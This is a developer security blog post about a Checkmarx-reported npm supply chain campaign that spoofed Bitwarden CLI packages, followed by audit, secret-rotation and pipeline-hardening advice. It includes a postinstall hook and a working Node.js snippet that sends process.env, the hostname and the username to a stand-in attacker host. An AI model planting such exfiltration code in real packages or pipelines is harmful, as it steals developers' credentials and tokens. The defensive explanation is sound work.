Bitwarden CLI Compromised: What Developers Need to Know About the Ongoing Checkmarx Supply Chain Attack
You trusted your password manager. Now your build pipeline might be the weakest link.
Security researchers at Checkmarx have uncovered an ongoing supply chain campaign that targeted the Bitwarden CLI ecosystem through malicious npm packages. If you use Bitwarden's command-line tooling — or if you pull credentials programmatically in your CI/CD pipelines — this one hits close to home.
This isn't a theoretical threat. It's active. It's ongoing. And the attack vector is the same one that's burned developers dozens of times before: a compromised package sitting quietly in a registry you already trust.
Let's break down exactly what happened, how the attack works, and — most importantly — what you should do right now.
What Is the Checkmarx Supply Chain Campaign?
Checkmarx's security research team has been tracking a sophisticated, ongoing supply chain attack that plants malicious packages into public registries like npm. The campaign doesn't try to brute-force your vault or phish your master password. Instead, it targets the tooling around your secrets management — specifically, packages that developers use to automate credential retrieval.
In this particular wave, attackers published npm packages with names designed to closely mimic legitimate Bitwarden CLI utilities. The technique — known as typosquatting or dependency confusion — exploits the way package managers resolve module names.
Once a developer installs the compromised package (often without realizing it), malicious code executes during or after installation, exfiltrating environment variables, secrets, and tokens to attacker-controlled infrastructure.
How the Attack Actually Works
Here's the attack chain, simplified:
Step 1 — Package Publication
The attacker publishes a package to npm with a name like @bitwarden/cli or a close variant that shadows or spoofs the legitimate package namespace. In some cases, they target internal package names used in enterprise environments (dependency confusion).
Step 2 — Malicious install script
The package includes a postinstall script in package.json — a completely legitimate npm feature that executes automatically after installation:
{"name":"@bitwarden/sdk-internal","version":"1.0.0","scripts":{"postinstall":"node ./scripts/install.js"}}
That install.js file is where the malicious payload lives.
Step 3 — Payload Execution
The script harvests sensitive data from the host environment:
// Simplified representation of the malicious pattern researchers observed
const https = require('https');
const os = require('os');
const data = JSON.stringify({
hostname: os.hostname(),
username: os.userInfo().username,
env: process.env, // <-- This is the real target
platform: os.platform()
});
const options = {
hostname: 'attacker-c2-server.com',
port: 443,
path: '/collect',
method: 'POST',
headers: {
'Content-Type': 'application/json',
'Content-Length': Buffer.byteLength(data)
}
};
const req = https.request(options);
req.write(data);
req.end();
Your process.env is a goldmine. It typically contains:
-
BW_SESSIONtokens (Bitwarden session keys) -
AWS_ACCESS_KEY_ID/AWS_SECRET_ACCESS_KEY -
GITHUB_TOKEN,NPM_TOKEN,DOCKER_PASSWORD - Database URLs and API keys set by your CI/CD platform
Step 4 — Lateral Movement
With stolen tokens, attackers can pivot into your cloud infrastructure, your source repositories, and — in the worst cases — your production deployments.
Why Bitwarden CLI Was a High-Value Target
Bitwarden is one of the most trusted open-source password managers in the developer community, and for good reason. But that trust is exactly what makes it an attractive target.
The Bitwarden CLI (bw) is widely used in automated workflows:
# Common pattern in CI/CD pipelines
export BW_SESSION=$(bw unlock --passwordenv BW_PASSWORD --raw)
DB_PASSWORD=$(bw get password my-db-creds)
docker run -e DB_PASSWORD=$DB_PASSWORD my-app
This pattern is documented, encouraged, and widely deployed. When a developer searches for npm packages to wrap or extend this workflow, the attack surface opens up.
Checkmarx's researchers found that the compromised packages accumulated real download counts — meaning real developers, real pipelines, and potentially real secrets were exposed during the window the packages were live.
Am I Affected? How to Check
First, don't panic — but do audit.
Check Your npm Install Logs
# Check globally installed packages
npm list -g --depth=0
# Check your project's installed packages
npm list --depth=0
# Look for suspicious Bitwarden-adjacent packages
npm list | grep -i bitwarden
npm list | grep -i bw
Audit Your package-lock.json
# Search for unexpected Bitwarden-related entries
cat package-lock.json | grep -i bitwarden
The only legitimate official packages from Bitwarden include:
-
@bitwarden/cli(the official CLI wrapper) - Packages under verified
@bitwardenscope on npm
If you find anything that doesn't match official Bitwarden repositories, treat it as compromised.
Check Your Environment Variable Exposure
Audit which environment variables your CI/CD jobs expose at install time. Most platforms let you scope secrets to specific stages — if you're exposing production credentials during npm install, that needs to change immediately.
Immediate Actions to Take Right Now
1. Rotate All Potentially Exposed Secrets
If there's any chance a compromised package ran in your environment:
# Rotate your Bitwarden API key
bw config server https://vault.bitwarden.com
bw logout
# Re-authenticate with fresh credentials
# Revoke and regenerate cloud provider keys
aws iam delete-access-key --access-key-id OLD_KEY_ID
aws iam create-access-key
Do the same for GitHub tokens, Docker Hub credentials, and any other secrets that live in your environment.
2. Enable npm Package Locking
Always commit and use your package-lock.json or yarn.lock:
# Install from lockfile only — no resolution of new versions
npm ci
# Not this:
npm install # Can resolve to unexpected versions
3. Use npm Audit and Provenance Checks
# Run a security audit
npm audit
# Check package provenance (npm 9.5+)
npm info @bitwarden/cli --json | grep -A5 'dist'
4. Restrict postinstall Scripts in CI
# Disable lifecycle scripts for untrusted packages
npm install --ignore-scripts
# Or configure in .npmrc
echo "ignore-scripts=true" >> .npmrc
Note: This may break some legitimate packages that require build steps, so test carefully.
5. Pin Exact Versions and Verify Checksums
{"dependencies":{"@bitwarden/cli":"2024.x.x"}}
Combine this with subresource integrity checks where your tooling supports it.
Hardening Your Pipeline Against Future Supply Chain Attacks
This incident is a reminder that supply chain security isn't optional. Here are architectural changes worth implementing:
Use a Private Registry with Allowlisting
Route all npm installs through a private registry (Artifactory, Nexus, GitHub Packages) that only mirrors packages you've explicitly approved:
# .npmrc — point to your private registry
registry=https://your-private-registry.com/npm/
Implement Dependency Review in PRs
GitHub's Dependency Review Action flags supply chain risks before they merge:
# .github/workflows/dependency-review.yml
name: Dependency Review
on: [pull_request]
jobs:
dependency-review:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: actions/dependency-review-action@v4
with:
fail-on-severity: moderate
Scope Secrets to Pipeline Stages
Never expose production credentials during dependency installation stages:
# GitLab CI example — secrets only available at deploy stage
install:
stage: build
script:
- npm ci # No production secrets here
deploy:
stage: deploy
variables:
BW_PASSWORD: $BW_PASSWORD # Only injected at deploy time
script:
- bw unlock ...
Consider SLSA and Sigstore for Critical Dependencies
For high-assurance environments, look at software supply chain security tools that support the SLSA framework and Sigstore-based signing. These cryptographically verify that the package you're downloading is exactly what the publisher intended.
The Bigger Picture: Supply Chain Attacks Are the New Normal
The Bitwarden CLI campaign isn't an anomaly — it's part of a systematic, ongoing pattern. Checkmarx's research team has documented hundreds of similar campaigns across npm, PyPI, and RubyGems over the past two years.
Attackers have realized something important: it's easier to compromise a developer's tools than to break through hardened application defenses. Your npm install command runs with your full user privileges. It executes arbitrary scripts. And most developers run it without a second thought.
The compromised packages in this campaign were live long enough to accumulate real installs. That's a sobering reminder that the open-source supply chain — as incredible as it is — operates largely on trust.
Trust, but verify. Always.
Quick Reference Checklist
✅ Audit all installed npm packages for unexpected Bitwarden-adjacent names
✅ Rotate BW_SESSION tokens, API keys, and cloud credentials
✅ Switch from `npm install` to `npm ci` in all CI pipelines
✅ Consider `--ignore-scripts` for untrusted dependency installs
✅ Implement a private registry with package allowlisting
✅ Add Dependency Review to your PR workflow
✅ Scope CI/CD secrets to only the stages that need them
✅ Subscribe to Checkmarx and npm security advisories
Stay Ahead of the Next Attack
Supply chain security is a moving target. The developers who weather these campaigns best are the ones who've built security into their workflows — not bolted it on after an incident.
If this breakdown was useful, consider subscribing to a developer security newsletter to stay on top of emerging threats like this one.
Found a suspicious package? Report it:
- npm:
npm reportor email security@npmjs.com - Bitwarden: security@bitwarden.com
- Checkmarx research: https://checkmarx.com/blog
Drop a comment below if you've audited your pipeline after this news — what did you find? Let's help each other stay secure.
Follow me here on DEV for more practical security deep-dives, pipeline hardening guides, and developer tooling breakdowns. 🔐